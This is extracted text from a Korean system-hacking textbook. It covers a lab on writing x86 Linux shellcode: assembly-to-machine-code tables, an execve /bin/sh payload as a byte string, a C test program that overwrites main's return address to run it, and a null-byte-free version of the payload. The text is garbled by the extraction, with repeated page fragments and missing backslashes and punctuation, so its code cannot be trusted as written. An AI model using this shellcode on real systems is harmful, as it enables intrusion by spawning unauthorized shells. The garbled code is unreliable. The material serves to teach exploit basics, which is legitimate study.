movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 103: 80×86  시스템에 대한 이해

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 104: 80×86  시스템에 대한 이해

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 105: 80×86  시스템에 대한 이해

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 106: 80×86  시스템에 대한 이해

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 107: 80×86  시스템에 대한 이해

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 108: 80×86  시스템에 대한 이해

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )